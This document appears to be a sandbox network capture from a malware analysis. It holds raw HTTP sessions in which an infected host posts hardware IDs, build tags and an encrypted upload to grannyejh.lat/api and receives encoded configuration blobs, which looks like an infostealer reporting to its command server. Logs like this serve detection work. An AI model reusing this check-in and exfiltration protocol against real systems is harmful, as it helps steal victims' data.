2024-12-18 16:14:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	50332	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:39 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-18 16:14:39 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-18 16:14:40 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jlkk1vce2emhh6atpf9er4lcu5; expires=Sun, 13-Apr-2025 10:01:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Lqp2nRQoZivYIwcE5I5dY%2BoS5rzC47IXj3whwkEwTJFgVSUxqSMBoa1wYI3zrnfmnaCH66r5N6gqc9OmffVllG6SMA43Xd%2FDskP%2BO%2FJseKnoWV8T%2F3ss8o6gG6mgFfx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40727b2b848c5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2076&min_rtt=1861&rtt_var=851&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1569048&cwnd=171&unsent_bytes=0&cid=8094ee08b958bedf&ts=856&x=0"
2024-12-18 16:14:40 UTC	337	IN	Data Raw: 34 64 66 0d 0a 56 6e 4c 6f 54 61 46 76 4c 46 72 66 70 67 71 61 31 75 69 55 65 59 36 50 39 79 32 4e 78 4a 54 64 46 4e 61 62 62 50 4d 49 51 50 30 74 55 4a 35 76 6d 31 73 41 65 4b 7a 44 4b 4b 43 69 6d 75 45 63 6f 71 32 57 53 61 2f 2b 38 72 78 34 70 66 35 41 30 58 34 74 33 32 77 55 69 53 48 53 43 67 42 34 75 74 34 6f 6f 49 32 54 74 68 7a 67 72 63 30 50 36 4b 37 32 76 48 69 30 2b 67 65 63 65 43 79 65 50 68 36 50 4a 63 51 4d 53 44 75 7a 79 32 2f 2f 73 34 6e 2b 46 2b 66 69 6e 30 43 76 36 4c 61 34 62 76 53 68 54 72 35 74 4e 4a 77 62 45 35 73 6d 67 78 49 41 49 66 33 44 5a 4c 6a 73 79 76 55 63 37 4f 4f 52 53 65 61 73 2f 4c 56 77 74 66 38 47 67 32 45 6d 6c 54 34 51 6a 43 54 4f 42 56 77 32 75 63 78 6b 2b 62 6d 4a 74 6c 57 73 36 6f 30 50 74 2b 61 6c 6a 58 57 6c 36 42 Data Ascii: 4dfVnLoTaFvLFrfpgqa1uiUeY6P9y2NxJTdFNabbPMIQP0tUJ5vm1sAeKzDKKCimuEcoq2WSa/+8rx4pf5A0X4t32wUiSHSCgB4ut4ooI2Tthzgrc0P6K72vHi0+geceCyePh6PJcQMSDuzy2//s4n+F+fin0Cv6La4bvShTr5tNJwbE5smgxIAIf3DZLjsyvUc7OORSeas/LVwtf8Gg2EmlT4QjCTOBVw2ucxk+bmJtlWs6o0Pt+aljXWl6B
2024-12-18 16:14:40 UTC	917	IN	Data Raw: 71 37 63 58 30 57 30 75 33 32 78 51 6a 43 48 43 41 45 34 71 74 63 39 6a 2f 61 61 42 2f 78 62 68 37 5a 68 46 34 4b 58 32 75 48 79 2b 39 67 53 56 5a 79 2b 5a 4e 42 44 4b 59 59 4d 4b 56 6e 6a 6c 68 45 76 39 70 49 33 36 44 61 37 58 31 56 43 68 76 37 61 34 65 76 53 68 54 70 6c 76 49 5a 77 2f 48 34 6b 6e 79 42 39 4f 4b 72 76 4a 62 65 71 79 6a 2f 67 52 37 2f 2b 66 51 65 6d 6c 2f 37 52 2f 73 66 34 4b 30 53 52 69 6d 43 78 51 30 6d 2f 69 41 45 55 30 74 39 4e 6f 75 4b 76 45 37 31 76 72 34 64 55 58 72 36 4c 33 75 33 65 77 39 77 43 56 5a 69 53 52 4f 52 2b 4d 4a 63 4d 4b 52 44 43 31 78 57 58 7a 75 34 72 7a 46 75 6a 72 6d 55 37 71 35 72 6a 2f 63 61 79 35 56 74 46 45 4a 5a 77 6d 55 72 38 73 7a 51 4e 4a 4c 76 33 62 4a 75 48 30 6a 66 70 62 74 4b 32 62 53 75 43 30 39 36 31 Data Ascii: q7cX0W0u32xQjCHCAE4qtc9j/aaB/xbh7ZhF4KX2uHy+9gSVZy+ZNBDKYYMKVnjlhEv9pI36Da7X1VChv7a4evShTplvIZw/H4knyB9OKrvJbeqyj/gR7/+fQeml/7R/sf4K0SRimCxQ0m/iAEU0t9NouKvE71vr4dUXr6L3u3ew9wCVZiSROR+MJcMKRDC1xWXzu4rzFujrmU7q5rj/cay5VtFEJZwmUr8szQNJLv3bJuH0jfpbtK2bSuC0961
2024-12-18 16:14:40 UTC	1369	IN	Data Raw: 33 39 39 65 0d 0a 33 74 38 78 67 2b 4c 6d 4c 2f 52 50 71 34 4a 35 41 34 4b 48 2b 76 48 71 78 39 41 33 52 4a 47 4b 59 4c 46 44 53 62 2b 59 44 54 53 6d 73 68 6c 33 37 75 6f 54 78 44 61 7a 79 32 31 61 76 6f 66 72 2f 4c 76 54 7a 43 5a 5a 75 4c 35 55 33 46 49 34 69 7a 41 52 48 4d 61 2f 4f 5a 50 61 6d 68 2f 77 65 34 75 47 51 51 4f 2b 6e 39 37 46 38 76 37 6c 41 30 57 30 36 33 32 78 51 70 53 4c 54 48 30 51 7a 72 49 5a 64 2b 37 71 45 38 51 32 73 38 74 74 57 72 36 48 36 2f 79 37 30 38 67 69 64 5a 69 4b 5a 4a 68 36 46 50 63 6b 66 53 6a 61 35 79 47 62 78 75 59 58 7a 43 65 6a 74 68 30 37 71 6f 66 69 79 5a 4c 47 35 51 4e 46 74 4f 74 39 73 55 4c 41 62 78 42 31 66 50 2f 2f 78 61 2f 61 36 6a 65 42 62 38 36 4f 4d 44 2b 69 71 74 75 63 32 74 2f 55 44 6d 47 38 74 6a 54 34 63 Data Ascii: 399e3t8xg+LmL/RPq4J5A4KH+vHqx9A3RJGKYLFDSb+YDTSmshl37uoTxDazy21avofr/LvTzCZZuL5U3FI4izARHMa/OZPamh/we4uGQQO+n97F8v7lA0W0632xQpSLTH0QzrIZd+7qE8Q2s8ttWr6H6/y708gidZiKZJh6FPckfSja5yGbxuYXzCejth07qofiyZLG5QNFtOt9sULAbxB1fP//xa/a6jeBb86OMD+iqtuc2t/UDmG8tjT4c
2024-12-18 16:14:40 UTC	1369	IN	Data Raw: 39 4c 4e 72 6e 4f 62 66 79 34 67 50 59 65 2f 75 57 54 53 4f 4f 75 38 37 42 77 73 66 51 4a 6d 6d 6b 77 6a 54 63 55 68 43 4f 44 51 77 34 2f 70 59 51 77 75 4a 47 64 39 51 76 71 37 74 56 51 6f 62 2b 32 75 48 72 30 6f 55 36 52 5a 43 36 55 4d 78 75 42 4b 38 63 4e 51 7a 4f 7a 79 6d 48 30 76 49 62 78 43 65 48 6f 6e 55 58 6d 6f 2f 71 79 64 61 62 36 44 39 45 6b 59 70 67 73 55 4e 4a 76 35 44 35 35 47 2f 33 62 4a 75 48 30 6a 66 70 62 74 4b 32 55 52 2b 69 6f 38 71 31 34 70 76 63 4a 6b 57 77 71 6c 7a 4d 63 68 43 48 52 42 55 38 34 73 38 74 67 38 62 43 4c 38 68 2f 67 36 74 55 42 72 36 48 75 2f 79 37 30 30 51 32 4c 63 47 43 78 50 78 43 4e 50 39 55 57 44 69 66 7a 33 53 6a 2f 75 4d 71 75 57 2b 6a 6d 6e 30 62 73 72 2f 4b 79 64 72 33 32 42 35 6c 6e 4b 6f 30 31 47 70 67 72 78 Data Ascii: 9LNrnObfy4gPYe/uWTSOOu87BwsfQJmmkwjTcUhCODQw4/pYQwuJGd9Qvq7tVQob+2uHr0oU6RZC6UMxuBK8cNQzOzymH0vIbxCeHonUXmo/qydab6D9EkYpgsUNJv5D55G/3bJuH0jfpbtK2UR+io8q14pvcJkWwqlzMchCHRBU84s8tg8bCL8h/g6tUBr6Hu/y700Q2LcGCxPxCNP9UWDifz3Sj/uMquW+jmn0bsr/Kydr32B5lnKo01Gpgrx
2024-12-18 16:14:40 UTC	1369	IN	Data Raw: 79 78 32 44 31 74 34 4c 6b 47 2b 48 74 68 31 33 70 72 66 6a 2f 4f 50 54 2b 46 74 45 79 59 71 34 6a 47 38 6f 77 6a 52 51 4f 50 37 47 45 4d 4c 69 33 67 50 73 56 2f 75 6d 54 52 4f 79 6f 2f 72 70 2b 73 50 4d 44 6e 6d 45 6f 6c 6a 77 51 68 53 72 4c 42 6b 67 32 76 4d 4a 6b 39 66 54 45 74 68 7a 30 72 63 30 50 79 4c 7a 37 75 57 47 6c 7a 41 6d 52 4f 32 4b 41 65 67 6e 4b 4b 4d 39 4e 46 6e 69 77 79 47 4c 31 73 59 37 2b 48 4f 2f 73 6d 55 76 69 71 2f 4b 32 63 72 48 72 48 4a 64 6b 49 70 41 36 48 34 59 39 7a 51 68 4f 4e 50 32 4b 4b 50 2b 73 79 71 35 62 33 66 71 56 44 2f 44 6f 37 2f 39 78 75 4c 6c 57 30 57 55 76 6a 54 67 66 69 69 37 41 43 55 55 2f 75 38 4a 70 2b 37 47 4a 38 78 33 74 37 5a 6c 46 36 4b 37 38 73 58 75 79 2f 51 69 58 4b 6d 7a 66 4d 77 6a 4b 64 34 4d 2f 51 7a Data Ascii: yx2D1t4LkG+Hth13prfj/OPT+FtEyYq4jG8owjRQOP7GEMLi3gPsV/umTROyo/rp+sPMDnmEoljwQhSrLBkg2vMJk9fTEthz0rc0PyLz7uWGlzAmRO2KAegnKKM9NFniwyGL1sY7+HO/smUviq/K2crHrHJdkIpA6H4Y9zQhONP2KKP+syq5b3fqVD/Do7/9xuLlW0WUvjTgfii7ACUU/u8Jp+7GJ8x3t7ZlF6K78sXuy/QiXKmzfMwjKd4M/Qz
2024-12-18 16:14:40 UTC	1369	IN	Data Raw: 39 4c 75 4e 2f 68 54 6f 37 5a 6f 50 6f 65 62 78 70 7a 62 73 75 53 36 61 66 41 4f 52 50 77 4c 4b 4d 49 30 55 44 6a 2b 78 68 44 43 34 75 6f 50 33 45 2b 4c 68 6e 55 76 39 70 76 32 32 65 62 58 32 44 70 4a 72 4b 4a 63 6d 46 6f 6f 6b 79 77 70 47 50 4c 50 57 61 66 66 30 78 4c 59 63 39 4b 33 4e 44 39 36 77 38 62 68 35 39 74 41 4a 69 6d 73 6f 6e 44 38 63 79 6a 43 4e 46 41 34 2f 73 59 51 77 75 4c 6d 47 2b 78 2f 2b 34 5a 56 50 35 71 48 38 72 58 6d 37 39 41 32 52 62 7a 43 65 4a 68 2b 42 4b 73 41 4a 51 54 65 78 7a 47 4b 34 2b 73 72 78 41 36 79 31 31 57 50 73 74 2f 7a 39 55 61 37 76 43 5a 31 37 4b 5a 49 34 55 4a 56 68 32 6b 31 4a 4e 50 32 63 4b 50 69 31 68 2b 51 65 37 65 65 66 51 75 65 70 38 37 70 35 73 50 30 46 6e 33 67 73 6b 44 51 57 67 53 37 47 44 6b 55 79 73 38 31 Data Ascii: 9LuN/hTo7ZoPoebxpzbsuS6afAORPwLKMI0UDj+xhDC4uoP3E+LhnUv9pv22ebX2DpJrKJcmFookywpGPLPWaff0xLYc9K3ND96w8bh59tAJimsonD8cyjCNFA4/sYQwuLmG+x/+4ZVP5qH8rXm79A2RbzCeJh+BKsAJQTexzGK4+srxA6y11WPst/z9Ua7vCZ17KZI4UJVh2k1JNP2cKPi1h+Qe7eefQuep87p5sP0Fn3gskDQWgS7GDkUys81
2024-12-18 16:14:40 UTC	1369	IN	Data Raw: 2f 4d 54 37 2b 69 51 52 65 4f 71 39 37 64 2f 76 76 77 4c 6c 32 41 68 6b 54 73 52 68 69 76 4b 41 30 64 34 38 34 52 76 34 50 54 53 74 69 33 38 36 6f 31 43 2f 2b 54 45 76 47 65 6c 37 41 4f 42 62 47 43 77 4e 78 79 4a 4b 73 51 64 44 69 66 7a 33 53 6a 2f 75 4d 71 75 57 2b 7a 70 6d 55 7a 6f 71 50 6d 79 65 62 50 79 41 5a 74 6b 4d 4a 41 78 47 49 59 6e 7a 68 39 45 4d 71 2f 4e 59 66 57 36 67 75 51 59 72 4b 50 56 53 50 66 6d 72 76 39 45 76 76 6f 43 68 32 63 74 33 79 74 65 6b 32 2f 45 41 51 35 67 2f 64 5a 36 2b 4c 2b 4b 38 52 58 2b 37 4a 31 41 35 61 62 77 74 48 79 33 38 41 71 66 59 79 53 65 4f 52 47 4c 4c 38 59 4e 52 79 71 77 68 43 61 34 73 35 4b 32 51 36 7a 61 6d 55 54 65 70 65 44 2f 61 66 72 67 54 70 5a 6d 59 73 64 30 45 5a 67 69 79 77 6c 4f 4e 62 76 50 61 66 6d 33 Data Ascii: /MT7+iQReOq97d/vvwLl2AhkTsRhivKA0d484Rv4PTSti386o1C/+TEvGel7AOBbGCwNxyJKsQdDifz3Sj/uMquW+zpmUzoqPmyebPyAZtkMJAxGIYnzh9EMq/NYfW6guQYrKPVSPfmrv9EvvoCh2ct3ytek2/EAQ5g/dZ6+L+K8RX+7J1A5abwtHy38AqfYySeORGLL8YNRyqwhCa4s5K2Q6zamUTepeD/afrgTpZmYsd0EZgiywlONbvPafm3
2024-12-18 16:14:40 UTC	1369	IN	Data Raw: 36 74 7a 51 2b 6f 70 65 53 74 63 4c 66 76 44 64 5a 55 48 4c 38 2f 42 6f 73 69 79 41 46 77 42 71 6a 48 5a 76 61 7a 6e 4f 64 62 6f 71 32 61 44 37 65 66 74 76 63 32 69 37 64 4f 69 53 70 36 33 77 45 54 68 43 48 45 47 31 39 31 6e 63 39 2b 2b 62 6d 42 2b 6c 6e 74 34 49 56 49 72 2b 69 32 75 54 62 73 71 55 44 52 62 6a 50 66 62 45 44 59 64 4a 5a 65 47 57 6a 76 32 79 62 68 39 4a 79 32 51 37 36 6a 31 56 32 76 2f 72 62 34 64 61 62 72 43 4a 4a 38 49 64 67 4b 4c 71 6f 6b 7a 77 35 43 4f 62 71 45 4a 72 69 37 79 71 34 69 72 4f 36 48 58 61 43 33 34 4c 4a 6d 73 37 55 47 67 47 63 75 33 33 70 51 78 69 76 49 41 55 73 2f 72 59 74 36 36 4c 2b 47 34 46 66 6f 2f 39 55 42 72 37 66 39 73 47 53 36 2f 6b 47 41 66 43 2b 50 4e 78 57 4e 59 38 73 63 51 7a 54 39 69 69 6a 74 76 34 62 77 46 Data Ascii: 6tzQ+opeStcLfvDdZUHL8/BosiyAFwBqjHZvaznOdboq2aD7eftvc2i7dOiSp63wEThCHEG191nc9++bmB+lnt4IVIr+i2uTbsqUDRbjPfbEDYdJZeGWjv2ybh9Jy2Q76j1V2v/rb4dabrCJJ8IdgKLqokzw5CObqEJri7yq4irO6HXaC34LJms7UGgGcu33pQxivIAUs/rYt66L+G4Ffo/9UBr7f9sGS6/kGAfC+PNxWNY8scQzT9iijtv4bwF
2024-12-18 16:14:40 UTC	1369	IN	Data Raw: 44 70 2b 72 6e 72 48 69 2f 37 77 6e 52 56 57 7a 66 4c 46 44 53 62 2f 59 4f 51 44 61 36 30 6e 6d 31 6b 6f 6e 78 48 65 2f 6a 67 6c 36 76 36 4c 61 35 4e 75 79 72 51 4e 46 75 4d 39 39 73 51 4e 68 30 6c 6c 34 5a 61 4f 2f 62 4a 75 48 30 6e 4c 5a 44 76 36 50 56 58 61 2f 2b 74 76 68 34 75 66 67 4e 6e 32 6b 77 6a 54 49 54 6e 43 79 45 4d 33 41 64 73 4d 6c 74 39 72 4f 30 79 44 72 6d 2f 5a 68 41 36 4a 6a 49 69 47 65 7a 36 55 79 33 61 54 53 63 64 46 37 4b 4e 34 4e 56 44 68 6d 33 31 47 58 33 73 38 71 34 57 2b 69 74 7a 51 2f 4b 71 2f 75 36 65 4c 4f 37 4c 35 74 36 4c 35 41 7a 55 4d 52 76 7a 30 30 57 65 4c 7a 4f 65 50 57 37 6a 62 6f 63 39 75 72 56 41 61 2b 6f 74 75 63 32 74 66 4d 65 6e 47 55 6c 30 7a 49 65 68 47 2f 63 51 31 64 34 71 34 51 77 71 2f 72 4b 35 46 75 30 72 64 Data Ascii: Dp+rnrHi/7wnRVWzfLFDSb/YOQDa60nm1konxHe/jgl6v6La5NuyrQNFuM99sQNh0ll4ZaO/bJuH0nLZDv6PVXa/+tvh4ufgNn2kwjTITnCyEM3AdsMlt9rO0yDrm/ZhA6JjIiGez6Uy3aTScdF7KN4NVDhm31GX3s8q4W+itzQ/Kq/u6eLO7L5t6L5AzUMRvz00WeLzOePW7jboc9urVAa+otuc2tfMenGUl0zIehG/cQ1d4q4Qwq/rK5Fu0rd

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	50334	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:41 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8MG3ZXKEB7W3K75 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1317 Host: grannyejh.lat
2024-12-18 16:14:41 UTC	1317	OUT	Data Raw: 2d 2d 38 4d 47 33 5a 58 4b 45 42 37 57 33 4b 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 38 4d 47 33 5a 58 4b 45 42 37 57 33 4b 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 4d 47 33 5a 58 4b 45 42 37 57 33 4b 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 38 4d 47 33 5a Data Ascii: --8MG3ZXKEB7W3K75Content-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--8MG3ZXKEB7W3K75Content-Disposition: form-data; name="pid"1--8MG3ZXKEB7W3K75Content-Disposition: form-data; name="lid"PsFKDg--pablo--8MG3Z
2024-12-18 16:14:42 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cmplsusus563ldpo13s4q9kj9a; expires=Sun, 13-Apr-2025 10:01:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l03Yyy1PRsuaVXNRUA677ztD%2BvqcG%2BmsNU0HovuOSwOvVqchroCj3FXnwuorKk72M%2FCkBiPUiVUafDl4zqQa4AFCThXplGOYx1W2znVUXB%2BJHJ23QP8nFu%2BVMkMCY098"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f407287ed35437e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2139&min_rtt=2124&rtt_var=827&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2228&delivery_rate=1298932&cwnd=236&unsent_bytes=0&cid=b02d9dcc51e3acaa&ts=919&x=0"
2024-12-18 16:14:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	50335	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:41 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4PKVI1AZLE2H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18127 Host: grannyejh.lat
2024-12-18 16:14:41 UTC	15331	OUT	Data Raw: 2d 2d 34 50 4b 56 49 31 41 5a 4c 45 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 50 4b 56 49 31 41 5a 4c 45 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 50 4b 56 49 31 41 5a 4c 45 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 34 50 4b 56 49 31 41 5a 4c 45 32 48 0d 0a Data Ascii: --4PKVI1AZLE2HContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--4PKVI1AZLE2HContent-Disposition: form-data; name="pid"2--4PKVI1AZLE2HContent-Disposition: form-data; name="lid"PsFKDg--pablo--4PKVI1AZLE2H
2024-12-18 16:14:41 UTC	2796	OUT	Data Raw: c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-12-18 16:14:43 UTC	1029	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=545evpnapqc97lgcrkot94ltcm; expires=Sun, 13-Apr-2025 10:01:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KTk5EnfFuzmR7N1QjkFURnA0VFoxjZSwDKyLVxfF9YxHwfIa2CV0dwMupKrnqrSxvkkugQrNnxhE8xgawaKzHynqWw2HWVsNb4O1L4BO7%2FATVp9hzaDfVNof3U1KAckO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072894b317cf0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2121&min_rtt=1810&rtt_var=901&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2829&recv_bytes=19080&delivery_rate=1613259&cwnd=230&unsent_bytes=0&cid=1e9e336151b3a985&ts=1847&x=0"
2024-12-18 16:14:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	50354	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:44 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SQ6NFXK9Q2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1355 Host: grannyejh.lat
2024-12-18 16:14:44 UTC	1355	OUT	Data Raw: 2d 2d 53 51 36 4e 46 58 4b 39 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 51 36 4e 46 58 4b 39 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 51 36 4e 46 58 4b 39 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 53 51 36 4e 46 58 4b 39 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --SQ6NFXK9Q2Content-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--SQ6NFXK9Q2Content-Disposition: form-data; name="pid"1--SQ6NFXK9Q2Content-Disposition: form-data; name="lid"PsFKDg--pablo--SQ6NFXK9Q2Content-
2024-12-18 16:14:44 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i4ij4kfh9phliuqs3me466q4c5; expires=Sun, 13-Apr-2025 10:01:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SZgNHHY8TGfCXSNegH6eLQqwDG0XpojdIiGDsUBc8VkpbIT4SkgQEqUBGNCMb5Xn4a%2FcI94F0597CqzVpqduT0pmsjQBNgdTbBRLRjbih%2FI77KuHGM7cdni85bpl5Xwp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072968d62c331-EWR alt-svc: h3=":443"; ma=86400 server-timing: 